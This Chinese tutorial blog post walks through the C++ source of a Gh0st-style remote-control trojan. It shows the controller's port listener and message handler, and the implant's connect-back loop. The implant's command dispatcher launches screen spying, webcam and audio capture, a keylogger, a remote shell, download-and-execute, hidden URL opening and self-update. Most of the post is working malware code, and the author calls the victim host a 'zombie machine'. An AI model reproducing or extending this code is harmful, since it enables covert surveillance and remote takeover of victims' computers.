上一节我们讲过肉机最关键的一步就是通过connect来连接指定的主控端
if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
return false;
其实在次之前应当是主控端先监听相应的端口,然后肉机再来连接这个端口的
在主控端的OnInitDialog当中调用:listenPort(); //开始监听端口
// 监听端口
void CPCRemoteDlg::listenPort()
{
int nPort = ((CPCRemoteApp*)AfxGetApp())->m_IniFile.GetInt("Settings", "ListenPort"); //读取ini文件中的监听端口
int nMaxConnection = ((CPCRemoteApp*)AfxGetApp())->m_IniFile.GetInt("Settings", "MaxConnection"); //读取最大连接数
if (nPort == 0)
nPort = 80;
if (nMaxConnection == 0)
nMaxConnection = 10000;
Activate(nPort, nMaxConnection); //开始监听
}
我们跟进Activate函数:
void CPCRemoteDlg::Activate(UINT nPort, UINT nMaxConnections)
{
CString str;
if (m_iocpServer != NULL)
{
m_iocpServer->Shutdown();
delete m_iocpServer;
}
m_iocpServer = new CIOCPServer;
// 开启IPCP服务器 最大连接 端口 查看NotifyProc回调函数 函数定义
if (m_iocpServer->Initialize(NotifyProc, NULL, 100000, nPort))
{
char hostname[256];
gethostname(hostname, sizeof(hostname));
HOSTENT* host = gethostbyname(hostname);
if (host != NULL)
{
for (int i = 0; ; i++)
{
str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);
if (host->h_addr_list[i] + host->h_length >= host->h_name)
break;
str += "/";
}
}
str.Format("监听端口: %d成功", nPort);
showMessage(true, str);
}
else
{
str.Format("监听端口: %d失败", nPort);
showMessage(false, str);
}
}
比较关键的就是m_iocpServer->Initialize(NotifyProc, NULL, 100000, nPort)
其中第一个参数NotifyProc是一个回调函数,原型为:
typedef void (CALLBACK* NOTIFYPROC)(LPVOID, ClientContext*, UINT nCode);
回调函数其实就是函数指针的一种特殊形式(二者是共性与个性,一般与个别的关系😋)
//函数指针
typedef void(_cdecl* TestRunT)(char* strHost, int nPort);
//回调函数
typedef void (CALLBACK* NOTIFYPROC)(LPVOID, ClientContext*, UINT nCode);
Initialize函数当中创建了ListenThreadProc线程用来处理端口的监听,至于怎么监听的细节就不再展开
//开启监听线程 跟进ListenThreadProc
m_hThread =
(HANDLE)_beginthreadex(NULL, // Security
0, // Stack size - use default
ListenThreadProc, // Thread fn entry point
(void*) this,
0, // Init flag
&dwThreadId); // Thread address
我们来看一下几处回调函数调用的位置:
1)一处是在OnAccept处,表示有连接到来
m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_CLIENT_CONNECT);
2)另外比较关键的一处是在OnClientReading,对应完整接收:NC_RECEIVE_COMPLETE
if (nRet == Z_OK) //如果完整接收
{
//写入数据
pContext->m_DeCompressionBuffer.ClearBuffer();
pContext->m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
//调用回调函数传递 NC_RECEIVE_COMPLETE 到回调函数看一下
m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_RECEIVE_COMPLETE);
}
3)当然OnClientWriting这个位置也挺重要,主要是负责给肉机发送命令
OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_TRANSMIT); //调用一下回调函数
至于OnClientReading的调用时机大家可以自行研究,在此不再赘述
以下是NotifyProc的完整代码:
/
// CMainFrame message handlers
// NotifyProc是这个socket内核的核心 所有的关于socket 的处理都要调用这个函数
void CALLBACK CPCRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode)
{
/*if (TEST_MODE) {
::MessageBox(NULL, "有连接到来!!", "", NULL);
}*/
try
{
switch (nCode)
{
case NC_CLIENT_CONNECT:
break;
case NC_CLIENT_DISCONNECT:
//g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);
break;
case NC_TRANSMIT:
break;
case NC_RECEIVE:
//ProcessReceive(pContext); //这里是有数据到来 但没有完全接收 大家可能会奇怪他怎么知道没有完全接收呢?
//回到OnClientReading 继续向下分析
break;
case NC_RECEIVE_COMPLETE:
ProcessReceiveComplete(pContext); //就是这里 数据解压 还原后在调用 ProcessReceiveComplete 转到ProcessReceiveComplete
break;
}
}
catch (...) {}
}
进入ProcessReceiveComplete函数也就进入了主控端接收消息的核心代码位置了:
//处理所有服务端发送来的消息
void CPCRemoteDlg::ProcessReceiveComplete(ClientContext* pContext)
{
if (pContext == NULL)
return;
// 如果管理对话框打开,交给相应的对话框处理
CDialog* dlg = (CDialog*)pContext->m_Dialog[1]; //这里就是ClientContext 结构体的int m_Dialog[2];
// 交给窗口处理
if (pContext->m_Dialog[0] > 0) //这里查看是否给他赋值了,如果赋值了就把数据传给功能窗口处理
{
switch (pContext->m_Dialog[0])
{
case SYSTEM_DLG:
((CSystemDlg *)dlg)->OnReceiveComplete();
break;
case SHELL_DLG:
((CShellDlg *)dlg)->OnReceiveComplete();
break;
default:
break;
}
return;
}
switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) //如果没有赋值就判断是否是上线包和打开功能功能窗口
{
case TOKEN_LOGIN: // 上线包
{
//这里处理上线
if (m_iocpServer->m_nMaxConnections <= g_pPCRemoteDlg->m_CList_Online.GetItemCount())
{
closesocket(pContext->m_Socket);
}
else
{
pContext->m_bIsMainSocket = true;
g_pPCRemoteDlg->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext);
}
// 激活
BYTE bToken = COMMAND_ACTIVED;
m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
}
break;
case TOKEN_PSLIST:
g_pPCRemoteDlg->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_SHELL_START:
g_pPCRemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
break;
// 命令停止当前操作
default:
closesocket(pContext->m_Socket);
break;
}
}
其中包括:
1)第一次的上线包:
case TOKEN_LOGIN: // 上线包
{
//这里处理上线
if (m_iocpServer->m_nMaxConnections <= g_pPCRemoteDlg->m_CList_Online.GetItemCount())
{
closesocket(pContext->m_Socket);
}
else
{
pContext->m_bIsMainSocket = true;
g_pPCRemoteDlg->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext);
}
// 激活
BYTE bToken = COMMAND_ACTIVED;
m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
}
2)第一次打开具体对话框的命令
case TOKEN_PSLIST:
g_pPCRemoteDlg->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_SHELL_START:
g_pPCRemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
break;
当然打开对话框由于需要显示的东西需要从肉机那里获取,所以肯定还是要给他发消息的:
BOOL CSystemDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
SetIcon(m_hIcon, TRUE);//设置大图标
SetIcon(m_hIcon, FALSE);//设置小图标
sockaddr_in sockAddr;
CString str;
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen); //得到连接的ip
str.Format("布布の进程管理——被控主机:%s", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");//转化为". . . ."形式的IP地址
SetWindowText(str);//设置对话框标题
m_tab.InsertItem(0, "进程管理"); //为tab设置标题
m_tab.InsertItem(1, "窗口管理");
m_tab.InsertItem(2, "拨号密码");
//初始化进程的列表
m_list_process.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
m_list_process.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100);
m_list_process.InsertColumn(1, "PID", LVCFMT_LEFT, 50);
m_list_process.InsertColumn(2, "程序路径", LVCFMT_LEFT, 400);
//初始化 窗口管理的列表
m_list_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
m_list_windows.InsertColumn(0, "窗口句柄", LVCFMT_LEFT, 100);
m_list_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 320);
m_list_windows.InsertColumn(2, "窗口状态", LVCFMT_LEFT, 100);
//初始化各个列表的大小
AdjustList();
ShowProcessList(); //由于第一个发送来的消息后面紧跟着进程的数据所以把数据显示到列表当中
ShowSelectWindow(); //显示列表
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
3)如果管理对话框打开,交给相应的对话框处理
if (pContext->m_Dialog[0] > 0) //这里查看是否给他赋值了,如果赋值了就把数据传给功能窗口处理
{
switch (pContext->m_Dialog[0])
{
case SYSTEM_DLG:
((CSystemDlg *)dlg)->OnReceiveComplete();
break;
case SHELL_DLG:
((CShellDlg *)dlg)->OnReceiveComplete();
break;
default:
break;
}
return;
}
这样从理论上来讲,就是主控端的对话框已经能打开并且能够和肉机进行收发数据了,此时如果能正确接收肉机发来的数据,就能完美地显示出来了!
然后我们看回肉机端:连接成功之后,执行工作线程WorkThread
//---连接成功,开启工作线程 转到WorkThread
m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);
WorkThread部分的代码
如果主控端没有退出,就一直陷在这个循环中:while (pThis->IsRunning()),之后等待主控端的唤醒即可(主控端有任务派发给肉机就会将其唤醒)
退出的时候给肉机发送关闭消息,让他紫砂即可
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
{
CClientSocket *pThis = (CClientSocket *)lparam;
char buff[MAX_RECV_BUFFER];
fd_set fdSocket;
FD_ZERO(&fdSocket);
FD_SET(pThis->m_Socket, &fdSocket);
while (pThis->IsRunning()) //---如果主控端 没有退出,就一直陷在这个循环中
{
fd_set fdRead = fdSocket;
int nRet = select(NULL, &fdRead, NULL, NULL, NULL); //---这里判断是否断开连接
if (nRet == SOCKET_ERROR)
{
pThis->Disconnect();
break;
}
if (nRet > 0)
{
memset(buff, 0, sizeof(buff));
int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0); //---接收主控端发来的数据
if (nSize <= 0)
{
pThis->Disconnect();//---接收错误处理
break;
}
if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize); //---正确接收就调用 OnRead处理 转到OnRead
}
}
return -1;
}
几个关键位置的代码:
1)int nRet = select(NULL, &fdRead, NULL, NULL, NULL); //---这里判断是否断开连接
注:select
函数是用于多路复用 I/O 操作的系统调用之一,它允许程序同时监视多个文件描述符,等待其中任何一个或多个变为可读、可写或出现异常。它常用于实现高效的并发网络编程,比如服务器端同时处理多个客户端连接的情况。 在调用 select
函数后,它会阻塞程序执行
select
函数会返回一个整数值,表示就绪文件描述符的数量。如果超时发生,返回值为 0;如果出错,返回值为 -1。
2)int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0); //---接收主控端发来的数据
if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize); //---正确接收就调用 OnRead处理
3)OnRead
其中关键的代码:
//解压数据看看是否成功,如果成功则向下进行
unsigned long destLen = nUnCompressLength;
int nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength);
//
if (nRet == Z_OK)//---如果解压成功
{
m_DeCompressionBuffer.ClearBuffer();
m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
//调用 m_pManager->OnReceive函数 转到m_pManager 定义
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
}
其中OnReceive函数的原型是一个虚函数
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
我们来观察m_pManager的来源为pManager
void CClientSocket::setManagerCallBack( CManager *pManager )
{
m_pManager = pManager;
}
在dllmain当中调用了setManagerCallBack函数
//---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
socketClient.setManagerCallBack(&manager);
也就是使用基类指针CManager *pManager指向了派生类对象CKernelManager manager
兜兜转转一大圈就是说OnReceive动态多态调用的是CKernelManager重写的OnReceive
因此我们进入CKernelManager::OnReceive
//---这里就处理主控端发送来的数据 每一种功能都有一个线程函数对应转到Loop_FileManager
// 加上激活
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_ACTIVED:
InterlockedExchange((LONG *)&m_bIsActived, true);
break;
case COMMAND_LIST_DRIVE: // 文件管理
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, false);
break;
case COMMAND_SCREEN_SPY: // 屏幕查看
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
case COMMAND_WEBCAM: // 摄像头
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_AUDIO: // 摄像头
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_SHELL: // 远程sehll
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
case COMMAND_KEYBOARD:
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_SYSTEM:
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_DOWN_EXEC: // 下载者
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
(LPVOID)(lpBuffer + 1), 0, NULL, true);
Sleep(100); // 传递参数用
break;
case COMMAND_OPEN_URL_SHOW: // 显示打开网页
OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
break;
case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页
OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);
break;
case COMMAND_UPDATE_SERVER: // 更新服务端
if (UpdateServer((char *)lpBuffer + 1))
UnInstallService();
break;
case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包
break;
}
}
不难发现CKernelManager会根据lpBuffer[0]来判断是想要执行哪个功能,然后创建对应的线程来处理主控端发过来的任务,根据lpBuffer当中的其他信息来具体化任务
比如Loop_ScreenManager当中:
DWORD WINAPI Loop_ScreenManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CScreenManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
而CScreenManager的构造函数就要执行主控端交代的具体任务了
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
{
m_bAlgorithm = ALGORITHM_SCAN;
m_biBitCount = 8;
m_pScreenSpy = new CScreenSpy(8);
m_bIsWorking = true;
m_bIsBlankScreen = false;
m_bIsBlockInput = false;
m_bIsCaptureLayer = false;
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
}
刑了,今天的你就到此为止吧,明天还要接着浪啊!🎃🎃 作者:布卍哥